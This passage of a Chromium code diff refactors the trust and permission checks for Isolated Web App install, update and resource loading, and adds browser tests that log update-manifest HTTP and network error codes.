+                  IwaInstallOperation{
+
+                      .source = webapps::WebappInstallSource::IWA_DEV_UI}),
+
               base::test::HasValue());
 
   pref_service().SetInteger(
+
       prefs::kDevToolsAvailability,
+
       std::to_underlying(
+
           policy::DeveloperToolsPolicyHandler::Availability::kDisallowed));
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId1, /*is_dev_mode_bundle=*/true),
+
+  EXPECT_THAT(IsolatedWebAppTrustChecker::IsOperationAllowed(
+
+                  *profile(), kWebBundleId1, /*dev_mode=*/true,
+
+                  IwaInstallOperation{
+
+                      .source = webapps::WebappInstallSource::IWA_DEV_UI}),
+
               base::test::ErrorIs(_));
 }
 
 TEST_F(IsolatedWebAppTrustCheckerTest, TrustedWebBundleIDsForTesting) {
   SetTrustedWebBundleIdsForTesting({kWebBundleId1});
 
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId1, /*is_dev_mode_bundle=*/false),
-              base::test::HasValue());
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), kWebBundleId1, /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
+      base::test::HasValue());
 
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  *profile(), kWebBundleId2, /*is_dev_mode_bundle=*/false),
-              base::test::ErrorIs(_));
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          *profile(), kWebBundleId2, /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_GRAPHICAL_INSTALLER}),
+      base::test::ErrorIs(_));
+}
+
+TEST_F(IsolatedWebAppTrustCheckerTest, ResourceLoadingForInstalledApp) {
+  auto iwa = std::make_unique<WebApp>(kStartUrl1, kStartUrl1, kStartUrl1);
+  iwa->SetIsolationData(
+      IsolationData::Builder(
+          IwaStorageOwnedBundle("dir_name", /*dev_mode=*/false),
+          IwaVersion::Create("1.0.0").value())
+          .Build());
+
+  // Installed apps are trusted for resource loading by default.
+  EXPECT_THAT(IsolatedWebAppTrustChecker::IsResourceLoadingAllowed(
+                  *profile(), kWebBundleId1, *iwa),
+              base::test::HasValue());
 }
 
 #if BUILDFLAG(IS_CHROMEOS)
@@ -221,19 +304,25 @@
   feature_list.InitWithFeatureStates({});
   scoped_info->ApplyCommandLineSwitchesForTesting();
   // Does not trust the key if the dev key is not allowlisted via feature flag.
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  shimless_profile(), k3pDiagnosticsDevWebBundleId,
-                  /*is_dev_mode_bundle=*/false),
-              base::test::ErrorIs(_));
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          shimless_profile(), k3pDiagnosticsDevWebBundleId,
+          /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_SHIMLESS_RMA}),
+      base::test::ErrorIs(_));
 
   feature_list.Reset();
   feature_list.InitWithFeatureStates(
       {{ash::features::kShimlessRMA3pDiagnosticsDevMode, true}});
   scoped_info->ApplyCommandLineSwitchesForTesting();
-  EXPECT_THAT(IsolatedWebAppTrustChecker::IsTrusted(
-                  shimless_profile(), k3pDiagnosticsDevWebBundleId,
-                  /*is_dev_mode_bundle=*/false),
-              base::test::HasValue());
+  EXPECT_THAT(
+      IsolatedWebAppTrustChecker::IsOperationAllowed(
+          shimless_profile(), k3pDiagnosticsDevWebBundleId,
+          /*dev_mode=*/false,
+          IwaInstallOperation{
+              .source = webapps::WebappInstallSource::IWA_SHIMLESS_RMA}),
+      base::test::HasValue());
 }
 
 #endif  // BUILDFLAG(IS_CHROMEOS)
diff --git a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_url_loader_factory_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_url_loader_factory_unittest.cc
index e452347e..8736a15 100644
--- a/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_url_loader_factory_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/isolated_web_app_url_loader_factory_unittest.cc
@@ -407,8 +407,14 @@
           .Build()));
 
   NonInstalledBundleInspectionContext::CreateForWebContents(
-      web_contents(), IwaSourceProxy{url::Origin::Create(
-                          GURL("http://pending-install-proxy-url.com"))});
+
+      web_contents(),
+
+      IwaSourceProxy{url::Origin::Create(
+
+          GURL("http://pending-install-proxy-url.com"))},
+
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI});
 
   CreateFactoryForFrame();
 
@@ -670,7 +676,8 @@
        ReturnGeneratedPageWhenInstallingApplication) {
   NonInstalledBundleInspectionContext::CreateForWebContents(
       web_contents(),
-      IwaSourceProxy{url::Origin::Create(GURL("http://some-proxy-url.com"))});
+      IwaSourceProxy{url::Origin::Create(GURL("http://some-proxy-url.com"))},
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI});
   RegisterWebApp(CreateIsolatedWebApp(
       kDevAppStartUrl,
       IsolationData::Builder(
@@ -697,7 +704,8 @@
        RequestsRedirectedToPendingInstallIsolationDataWhenAppIsInstalled) {
   NonInstalledBundleInspectionContext::CreateForWebContents(
       web_contents(),
-      IwaSourceProxy{url::Origin::Create(GURL("http://some-proxy-url.com"))});
+      IwaSourceProxy{url::Origin::Create(GURL("http://some-proxy-url.com"))},
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI});
 
   RegisterWebApp(CreateIsolatedWebApp(
       kDevAppStartUrl,
@@ -726,7 +734,8 @@
 
   NonInstalledBundleInspectionContext::CreateForWebContents(
       web_contents(),
-      IwaSourceProxy{url::Origin::Create(GURL("http://some-proxy-url.com"))});
+      IwaSourceProxy{url::Origin::Create(GURL("http://some-proxy-url.com"))},
+      IwaInstallOperation{.source = webapps::WebappInstallSource::IWA_DEV_UI});
 
   CreateFactoryForFrame();
 
@@ -1001,8 +1010,9 @@
     EXPECT_THAT(status, IsNetError(net::OK));
     EXPECT_THAT(ResponseInfo(), NotNull());
   } else {
-    EXPECT_THAT(status, IsNetError(net::ERR_INVALID_WEB_BUNDLE));
-    EXPECT_THAT(ResponseInfo(), IsNull());
+    // Installed apps are assumed to be trusted.
+    EXPECT_THAT(status, IsNetError(net::OK));
+    EXPECT_THAT(ResponseInfo(), NotNull());
   }
 }
 
@@ -1173,7 +1183,7 @@
 
   int status = CreateLoaderAndRun(std::move(request));
   if (is_dev_mode_bundle_) {
-    EXPECT_THAT(status, IsNetError(net::ERR_FAILED));
+    EXPECT_THAT(status, IsNetError(net::ERR_INVALID_WEB_BUNDLE));
     EXPECT_THAT(ResponseInfo(), IsNull());
   } else {
     EXPECT_THAT(status, IsNetError(net::OK));
diff --git a/chrome/browser/web_applications/isolated_web_apps/iwa_permissions_policy_cache.cc b/chrome/browser/web_applications/isolated_web_apps/iwa_permissions_policy_cache.cc
index d83f8f44..a17ec66 100644
--- a/chrome/browser/web_applications/isolated_web_apps/iwa_permissions_policy_cache.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/iwa_permissions_policy_cache.cc
@@ -11,6 +11,7 @@
 #include "base/json/json_reader.h"
 #include "base/strings/string_util.h"
 #include "base/task/sequenced_task_runner.h"
+#include "base/types/expected_macros.h"
 #include "base/values.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.h"
@@ -186,16 +187,14 @@
   // If the IWA is not trusted, we skip caching the manifest. The main
   // navigation will handle the trust failure and show an appropriate error
   // page. Fetching the manifest here would result in an opaque network
-  // error. Trust check is skipped in case of dev proxy mode.
-  if (!iwa_origin.web_bundle_id().is_for_proxy_mode() &&
-      !IsolatedWebAppTrustChecker::IsTrusted(
-           *provider_->profile(), iwa_origin.web_bundle_id(),
-           iwa->isolation_data()->location().dev_mode())
-           .has_value()) {
-    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
-        FROM_HERE, base::BindOnce(std::move(callback), true));
-    return;
-  }
+  // error.
+  RETURN_IF_ERROR(IsolatedWebAppTrustChecker::IsResourceLoadingAllowed(
+                      *provider_->profile(), iwa_origin.web_bundle_id(), *iwa),
+                  [&](const auto&) {
+                    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
+                        FROM_HERE, base::BindOnce(std::move(callback), true));
+                    return;
+                  });
 
   // Policy not cached, fetch the manifest.
   auto resource_request = std::make_unique<network::ResourceRequest>();
diff --git a/chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.cc b/chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.cc
index 5d0fe12..231f8ac 100644
--- a/chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.cc
@@ -20,14 +20,15 @@
 std::unique_ptr<PrepareInstallInfoJob> PrepareInstallInfoJob::CreateAndStart(
     Profile& profile,
     IwaSourceWithMode source,
+    IwaOperation operation,
     std::optional<IwaVersion> expected_version,
     content::WebContents& web_contents,
     IsolatedWebAppInstallCommandHelper& command_helper,
     std::unique_ptr<webapps::WebAppUrlLoader> loader,
     ResultCallback callback) {
   auto job = base::WrapUnique(new PrepareInstallInfoJob(
-      profile, std::move(source), std::move(expected_version), web_contents,
-      command_helper));
+      profile, std::move(source), std::move(operation),
+      std::move(expected_version), web_contents, command_helper));
   job->Start(std::move(loader), std::move(callback));
   return job;
 }
@@ -37,11 +38,13 @@
 PrepareInstallInfoJob::PrepareInstallInfoJob(
     Profile& profile,
     IwaSourceWithMode source,
+    IwaOperation operation,
     std::optional<IwaVersion> expected_version,
     content::WebContents& web_contents,
     IsolatedWebAppInstallCommandHelper& command_helper)
     : profile_(profile),
       source_(std::move(source)),
+      operation_(std::move(operation)),
       expected_version_(std::move(expected_version)),
       web_contents_(web_contents),
       command_helper_(command_helper) {}
@@ -75,7 +78,7 @@
 void PrepareInstallInfoJob::LoadInstallUrl(
     base::OnceClosure next_step_callback) {
   command_helper_->LoadInstallUrl(
-      source_, *web_contents_, *url_loader_.get(),
+      source_, operation_, *web_contents_, *url_loader_.get(),
       base::BindOnce(&PrepareInstallInfoJob::RunNextStepOnSuccess<void>,
                      weak_factory_.GetWeakPtr(), std::move(next_step_callback),
                      Error::kCantLoadInstallUrl));
diff --git a/chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.h b/chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.h
index 3e86f41..7a0eba3 100644
--- a/chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.h
+++ b/chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.h
@@ -11,6 +11,7 @@
 #include "base/memory/weak_ptr.h"
 #include "base/types/expected.h"
 #include "base/values.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
 #include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_integrity_block_data.h"
 #include "chrome/browser/web_applications/web_app_constants.h"
 #include "chrome/browser/web_applications/web_app_install_info.h"
@@ -49,6 +50,7 @@
   static std::unique_ptr<PrepareInstallInfoJob> CreateAndStart(
       Profile& profile,
       IwaSourceWithMode source,
+      IwaOperation operation,
       std::optional<IwaVersion> expected_version,
       content::WebContents& web_contents,
       IsolatedWebAppInstallCommandHelper& command_helper,
@@ -87,6 +89,7 @@
 
   PrepareInstallInfoJob(Profile& profile,
                         IwaSourceWithMode source,
+                        IwaOperation operation,
                         std::optional<IwaVersion> expected_version,
                         content::WebContents& web_contents,
                         IsolatedWebAppInstallCommandHelper& command_helper);
@@ -116,6 +119,7 @@
   const raw_ref<Profile> profile_;
 
   const IwaSourceWithMode source_;
+  const IwaOperation operation_;
   const std::optional<IwaVersion> expected_version_;
   const raw_ref<content::WebContents> web_contents_;
   blink::mojom::ManifestPtr manifest_;
diff --git a/chrome/browser/web_applications/isolated_web_apps/policy/isolated_web_app_policy_manager_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/policy/isolated_web_app_policy_manager_unittest.cc
index 997830b..137dae5 100644
--- a/chrome/browser/web_applications/isolated_web_apps/policy/isolated_web_app_policy_manager_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/policy/isolated_web_app_policy_manager_unittest.cc
@@ -658,9 +658,6 @@
                 .Build()
                 .UploadFromComponentFolder());
 
-  EXPECT_TRUE(IwaKeyDistributionInfoProvider::GetInstanceForTesting()
-                  .IsManagedInstallPermitted(web_bundle_id_1().id()));
-
   test::AddForceInstalledIwaToPolicy(
       profile()->GetPrefs(),
       IwaTestServerConfigurator::CreateForceInstallPolicyEntry(
diff --git a/chrome/browser/web_applications/isolated_web_apps/signed_web_bundle_metadata.cc b/chrome/browser/web_applications/isolated_web_apps/signed_web_bundle_metadata.cc
index f20432e..84bd8b5e 100644
--- a/chrome/browser/web_applications/isolated_web_apps/signed_web_bundle_metadata.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/signed_web_bundle_metadata.cc
@@ -16,6 +16,7 @@
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/web_applications/callback_utils.h"
 #include "chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
 #include "chrome/browser/web_applications/isolated_web_apps/jobs/prepare_install_info_job.h"
 #include "chrome/browser/web_applications/isolated_web_apps/runtime_data/chrome_iwa_runtime_data_provider.h"
 #include "chrome/browser/web_applications/web_app_install_info.h"
@@ -69,7 +70,7 @@
 
   void CheckTrustAndSignatures(base::OnceClosure next_step_callback) {
     helper_->CheckTrustAndSignatures(
-        source_, &*profile_,
+        source_, IwaMetadataReadingOperation{}, &*profile_,
         base::BindOnce(&WebAppInstallInfoFetcher::OnTrustAndSignaturesChecked,
                        weak_factory_.GetWeakPtr(),
                        std::move(next_step_callback)));
@@ -86,7 +87,7 @@
       base::OnceCallback<void(PrepareInstallInfoJob::InstallInfoOrFailure)>
           next_step_callback) {
     prepare_install_info_job_ = PrepareInstallInfoJob::CreateAndStart(
-        *profile_, source_,
+        *profile_, source_, IwaMetadataReadingOperation{},
         /*expected_version=*/std::nullopt, *web_contents_, *helper_,
         provider_->web_contents_manager().CreateUrlLoader(),
         std::move(next_step_callback));
diff --git a/chrome/browser/web_applications/isolated_web_apps/signed_web_bundle_metadata_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/signed_web_bundle_metadata_unittest.cc
index 197fd6b4..5761a4d 100644
--- a/chrome/browser/web_applications/isolated_web_apps/signed_web_bundle_metadata_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/signed_web_bundle_metadata_unittest.cc
@@ -137,25 +137,6 @@
           Property(&SignedWebBundleMetadata::app_id, Eq(url_info.app_id())))));
 }
 
-TEST_F(SignedWebBundleMetadataTest, FailsWhenWebBundleIdNotTrusted) {
-  IsolatedWebAppUrlInfo url_info = WriteBundleToDisk();
-  SetTrustedWebBundleIdsForTesting({});
-  FakeWebContentsManager& fake_web_contents_manager =
-      static_cast<FakeWebContentsManager&>(
-          fake_provider().web_contents_manager());
-  MockIconAndPageState(fake_web_contents_manager, url_info);
-
-  base::test::TestFuture<base::expected<SignedWebBundleMetadata, std::string>>
-      metadata_future;
-  SignedWebBundleMetadata::Create(profile(), &fake_provider(), url_info,
-                                  bundle_source(),
-                                  metadata_future.GetCallback());
-  base::expected<SignedWebBundleMetadata, std::string> metadata =
-      metadata_future.Get();
-
-  EXPECT_THAT(metadata, ErrorIs(HasSubstr("not trusted")));
-}
-
 TEST_F(SignedWebBundleMetadataTest, FailsWhenBundleInvalid) {
   IsolatedWebAppUrlInfo url_info = WriteBundleToDisk(
       TestSignedWebBundleBuilder::BuildOptions().SetErrorsForTesting(
diff --git a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_discovery_task.cc b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_discovery_task.cc
index 3ca2a4f..9b9ea5d 100644
--- a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_discovery_task.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_discovery_task.cc
@@ -229,7 +229,7 @@
 
   update_manifest_fetcher_ = std::make_unique<UpdateManifestFetcher>(
       task_params_.update_manifest_url(), kUpdateManifestFetchTrafficAnnotation,
-      url_loader_factory_);
+      url_loader_factory_, /*report_histogram_manifest_result=*/true);
   update_manifest_fetcher_->FetchUpdateManifest(base::BindOnce(
       &IsolatedWebAppUpdateDiscoveryTask::OnUpdateManifestFetched,
       weak_factory_.GetWeakPtr()));
diff --git a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager.cc b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager.cc
index 8d6f16e..918d883 100644
--- a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager.cc
@@ -35,6 +35,8 @@
 #include "chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_apply_update_command.h"
 #include "chrome/browser/web_applications/isolated_web_apps/commands/isolated_web_app_install_command_helper.h"
 #include "chrome/browser/web_applications/isolated_web_apps/install/isolated_web_app_install_source.h"
+#include "chrome/browser/web_applications/isolated_web_apps/install/non_installed_bundle_inspection_context.h"
+#include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_trust_checker.h"
 #include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_url_info.h"
 #include "chrome/browser/web_applications/isolated_web_apps/policy/isolated_web_app_external_install_options.h"
 #include "chrome/browser/web_applications/isolated_web_apps/policy/isolated_web_app_policy_manager.h"
@@ -559,35 +561,6 @@
   return apps.begin() != apps.end();
 }
 
-bool IsolatedWebAppUpdateManager::IsUpdatePermittedByRuntimeData(
-    const WebApp& web_app,
-    const IsolatedWebAppUrlInfo& url_info) const {
-  const auto& runtime_data = ChromeIwaRuntimeDataProvider::GetInstance();
-  const std::string& bundle_id = url_info.web_bundle_id().id();
-
-  switch (web_app.GetHighestPrioritySource()) {
-    case WebAppManagement::kIwaPolicy:
-      return runtime_data.IsManagedUpdatePermitted(bundle_id);
-
-    case WebAppManagement::kUserInstalled:
-      return runtime_data.GetUserInstallAllowlistData(bundle_id);
-
-    case WebAppManagement::kSystem:
-    case WebAppManagement::kKiosk:
-    case WebAppManagement::kPolicy:
-    case WebAppManagement::kOem:
-    case WebAppManagement::kSubApp:
-    case WebAppManagement::kWebAppStore:
-    case WebAppManagement::kOneDriveIntegration:
-    case WebAppManagement::kSync:
-    case WebAppManagement::kApsDefault:
-    case WebAppManagement::kDefault:
-    case WebAppManagement::kIwaShimlessRma:
-    case WebAppManagement::kIwaUserInstalled:
-      return true;
-  }
-}
-
 size_t IsolatedWebAppUpdateManager::QueueUpdateDiscoveryTasks() {
   // Clear the log of previously finished update discovery tasks when queueing
   // new tasks so that it doesn't grow forever.
@@ -636,11 +609,14 @@
     return false;
   }
 
-  if (!IsUpdatePermittedByRuntimeData(web_app, url_info)) {
-    LOG(WARNING) << "The app " << url_info.app_id()
-                 << " cannot be updated because it's not allowlisted.";
-    return false;
-  }
+  RETURN_IF_ERROR(IsolatedWebAppTrustChecker::IsOperationAllowed(
+                      *profile_, url_info.web_bundle_id(), /*dev_mode=*/false,
+                      IwaUpdateOperation{}),
+                  [&](const std::string& error) {
+                    LOG(WARNING) << "The app " << url_info.web_bundle_id()
+                                 << " cannot be updated: " << error;
+                    return false;
+                  });
 
   if (update_options->pinned_version.has_value() &&
       !ShouldProceedWithVersionChange(
diff --git a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager.h b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager.h
index 5850c24..bce5dce 100644
--- a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager.h
+++ b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager.h
@@ -292,10 +292,6 @@
 
   bool IsAnyIwaInstalled();
 
-  bool IsUpdatePermittedByRuntimeData(
-      const WebApp& web_app,
-      const IsolatedWebAppUrlInfo& url_info) const;
-
   // Queues new update discovery tasks and returns the number of new tasks
   // that have been queued.
   size_t QueueUpdateDiscoveryTasks();
diff --git a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_browsertest.cc b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_browsertest.cc
index e790383..1ace4e7 100644
--- a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_browsertest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_browsertest.cc
@@ -49,6 +49,7 @@
 #include "chrome/browser/web_applications/isolated_web_apps/test/isolated_web_app_builder.h"
 #include "chrome/browser/web_applications/isolated_web_apps/test/isolated_web_app_test_update_server.h"
 #include "chrome/browser/web_applications/isolated_web_apps/test/key_distribution/test_utils.h"
+#include "chrome/browser/web_applications/isolated_web_apps/test/policy_test_utils.h"
 #include "chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_discovery_task.h"
 #include "chrome/browser/web_applications/test/web_app_icon_test_utils.h"
 #include "chrome/browser/web_applications/test/web_app_test_observers.h"
@@ -71,6 +72,9 @@
 #include "content/public/test/browser_test.h"
 #include "content/public/test/browser_test_utils.h"
 #include "content/public/test/test_launcher.h"
+#include "content/public/test/url_loader_interceptor.h"
+#include "net/base/net_errors.h"
+#include "net/http/http_status_code.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/blink/public/common/features.h"
@@ -82,6 +86,9 @@
 using base::test::ErrorIs;
 using base::test::HasValue;
 using base::test::ValueIs;
+using ::net::test_server::BasicHttpResponse;
+using ::net::test_server::HttpRequest;
+using ::net::test_server::HttpResponse;
 using ::testing::_;
 using ::testing::Eq;
 using ::testing::HasSubstr;
@@ -328,6 +335,10 @@
                                      /*sample=*/false, /*expected_count=*/0);
   histogram_tester.ExpectTotalCount("WebApp.Isolated.UpdateError",
                                     /*expected_count=*/0);
+  histogram_tester.ExpectBucketCount(
+      "WebApp.Isolated.UpdateManifest.HttpResponseOrErrorCode",
+      /*sample=*/net::HTTP_OK,
+      /*expected_count=*/1);
 }
 
 IN_PROC_BROWSER_TEST_F(IsolatedWebAppUpdateManagerBrowserTest,
@@ -1235,6 +1246,161 @@
                                     /*expected_count=*/0);
 }
 
+class IsolatedWebAppUpdateManifestBrowserTest
+    : public IsolatedWebAppUpdateManagerBrowserTest {
+ public:
+  void SetUpOnMainThread() override {
+    IsolatedWebAppUpdateManagerBrowserTest::SetUpOnMainThread();
+  }
+
+  void InstallIwaAndSetMockUpdateUrl(const GURL& update_manifest_url) {
+    web_package::SignedWebBundleId web_bundle_id = GetWebBundleId();
+
+    profile()->GetPrefs()->SetList(
+        prefs::kIsolatedWebAppInstallForceList,
+        base::ListValue().Append(
+            iwa_test_update_server_.CreateForceInstallPolicyEntry(
+                web_bundle_id)));
+
+    web_app::WebAppTestInstallObserver(browser()->profile())
+        .BeginListeningAndWait({GetAppId()});
+
+    base::DictValue new_policy_entry =
+        iwa_test_update_server_.CreateForceInstallPolicyEntry(web_bundle_id);
+
+    // Update the update manifest URL key to the new URL.
+    new_policy_entry.Set(web_app::kPolicyUpdateManifestUrlKey,
+                         update_manifest_url.spec());
+
+    // Edit the policy in the PrefService.
+    web_app::test::EditForceInstalledIwaPolicy(
+        profile()->GetPrefs(), web_bundle_id, std::move(new_policy_entry));
+  }
+};
+
+IN_PROC_BROWSER_TEST_F(IsolatedWebAppUpdateManifestBrowserTest,
+                       ManifestDownloadFailedHttpResponseCode) {
+  base::HistogramTester histogram_tester;
+
+  // Configure embedded_test_server to return 404
+  embedded_test_server()->RegisterRequestHandler(base::BindLambdaForTesting(
+      [&](const HttpRequest& request) -> std::unique_ptr<HttpResponse> {
+        if (request.relative_url == "/update_manifest.json") {
+          auto response = std::make_unique<BasicHttpResponse>();
+          response->set_code(net::HTTP_NOT_FOUND);
+          return response;
+        }
+        return nullptr;
+      }));
+
+  ASSERT_TRUE(embedded_test_server()->Start());
+
+  GURL update_manifest_url =
+      embedded_test_server()->GetURL("/update_manifest.json");
+
+  InstallIwaAndSetMockUpdateUrl(update_manifest_url);
+
+  // Use base::test::TestFuture to get the result from the callback.
+  base::test::TestFuture<
+      web_app::IsolatedWebAppUpdateDiscoveryTask::CompletionStatus>
+      future;
+  // Correctly initialize UpdateDiscoveryTaskResultWaiter.
+  web_app::UpdateDiscoveryTaskResultWaiter waiter(provider(), GetAppId(),
+                                                  future.GetCallback());
+
+  EXPECT_THAT(provider().isolated_web_app_update_manager().DiscoverUpdatesNow(),
+              ::testing::Eq(1ul));
+
+  // Wait for the update discovery task to complete via the future.
+  web_app::IsolatedWebAppUpdateDiscoveryTask::CompletionStatus status =
+      future.Get();
+
+  // Check that the task failed as expected.
+  ASSERT_FALSE(status.has_value());
+  EXPECT_EQ(status.error(), web_app::IsolatedWebAppUpdateDiscoveryTask::Error::
+                                kUpdateManifestDownloadFailed);
+
+  histogram_tester.ExpectBucketCount("WebApp.Isolated.UpdateSuccess",
+                                     /*sample=*/true, /*expected_count=*/0);
+  histogram_tester.ExpectBucketCount("WebApp.Isolated.UpdateSuccess",
+                                     /*sample=*/false, /*expected_count=*/1);
+  histogram_tester.ExpectTotalCount("WebApp.Isolated.UpdateError",
+                                    /*expected_count=*/1);
+  histogram_tester.ExpectBucketCount(
+      "WebApp.Isolated.UpdateError",
+      IsolatedWebAppUpdateError::kUpdateManifestDownloadFailed, 1);
+  histogram_tester.ExpectTotalCount(
+      "WebApp.Isolated.UpdateManifest.HttpResponseOrErrorCode",
+      /*expected_count=*/1);
+  histogram_tester.ExpectBucketCount(
+      "WebApp.Isolated.UpdateManifest.HttpResponseOrErrorCode",
+      /*sample=*/net::HTTP_NOT_FOUND,
+      /*expected_count=*/1);
+}
+
+IN_PROC_BROWSER_TEST_F(IsolatedWebAppUpdateManifestBrowserTest,
+                       ManifestDownloadFailedNetworkError) {
+  base::HistogramTester histogram_tester;
+
+  ASSERT_TRUE(embedded_test_server()->Start());
+
+  GURL update_manifest_url =
+      embedded_test_server()->GetURL("/update_manifest.json");
+
+  // This captures the request for the manifest and kills it with
+  // ERR_CONNECTION_RESET
+  content::URLLoaderInterceptor interceptor(base::BindLambdaForTesting(
+      [&](content::URLLoaderInterceptor::RequestParams* params) {
+        if (params->url_request.url == update_manifest_url) {
+          network::URLLoaderCompletionStatus status;
+          status.error_code =
+              net::ERR_CONNECTION_RESET;  // Simulate connection drop
+          params->client->OnComplete(status);
+          return true;  // Request handled
+        }
+        return false;  // Pass through other requests
+      }));
+
+  InstallIwaAndSetMockUpdateUrl(update_manifest_url);
+
+  // Use base::test::TestFuture to get the result from the callback.
+  base::test::TestFuture<
+      web_app::IsolatedWebAppUpdateDiscoveryTask::CompletionStatus>
+      future;
+  // Correctly initialize UpdateDiscoveryTaskResultWaiter.
+  web_app::UpdateDiscoveryTaskResultWaiter waiter(provider(), GetAppId(),
+                                                  future.GetCallback());
+
+  EXPECT_THAT(provider().isolated_web_app_update_manager().DiscoverUpdatesNow(),
+              ::testing::Eq(1ul));
+
+  // Wait for the update discovery task to complete via the future.
+  web_app::IsolatedWebAppUpdateDiscoveryTask::CompletionStatus status =
+      future.Get();
+
+  // Check that the task failed as expected.
+  ASSERT_FALSE(status.has_value());
+  EXPECT_EQ(status.error(), web_app::IsolatedWebAppUpdateDiscoveryTask::Error::
+                                kUpdateManifestDownloadFailed);
+
+  histogram_tester.ExpectBucketCount("WebApp.Isolated.UpdateSuccess",
+                                     /*sample=*/true, /*expected_count=*/0);
+  histogram_tester.ExpectBucketCount("WebApp.Isolated.UpdateSuccess",
+                                     /*sample=*/false, /*expected_count=*/1);
+  histogram_tester.ExpectTotalCount("WebApp.Isolated.UpdateError",
+                                    /*expected_count=*/1);
+  histogram_tester.ExpectBucketCount(
+      "WebApp.Isolated.UpdateError",
+      IsolatedWebAppUpdateError::kUpdateManifestDownloadFailed, 1);
+  histogram_tester.ExpectTotalCount(
+      "WebApp.Isolated.UpdateManifest.HttpResponseOrErrorCode",
+      /*expected_count=*/1);
+  histogram_tester.ExpectBucketCount(
+      "WebApp.Isolated.UpdateManifest.HttpResponseOrErrorCode",
+      /*sample=*/net::ERR_CONNECTION_RESET,
+      /*expected_count=*/1);
+}
+
 // TODO(b/402650079) flaky on mac
 #if BUILDFLAG(IS_MAC)
 #define MAYBE_SucceedsWithServiceWorkerWithFetchHandler \
@@ -1277,8 +1443,9 @@
 
   // Updates will be applied once the app's window is closed.
   Browser* app_browser = GetBrowserFromFrame(app_frame);
+  ui_test_utils::BrowserDestroyedObserver observer(app_browser);
   app_browser->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  observer.Wait();
   EXPECT_THAT(provider().ui_manager().GetNumWindowsForApp(GetAppId()), Eq(0ul));
 
   manifest_updated_observer.Wait();
@@ -1591,8 +1758,9 @@
 
     content::TitleWatcher title_watcher(web_contents, u"1.0.0");
     EXPECT_EQ(title_watcher.WaitAndGetTitle(), u"1.0.0");
+    ui_test_utils::BrowserDestroyedObserver observer(app_browser);
     app_browser->window()->Close();
-    ui_test_utils::WaitForBrowserToClose(app_browser);
+    observer.Wait();
   }
 
   // Key rotation should trigger an unsuccessful discovery in the update manager
@@ -1611,8 +1779,9 @@
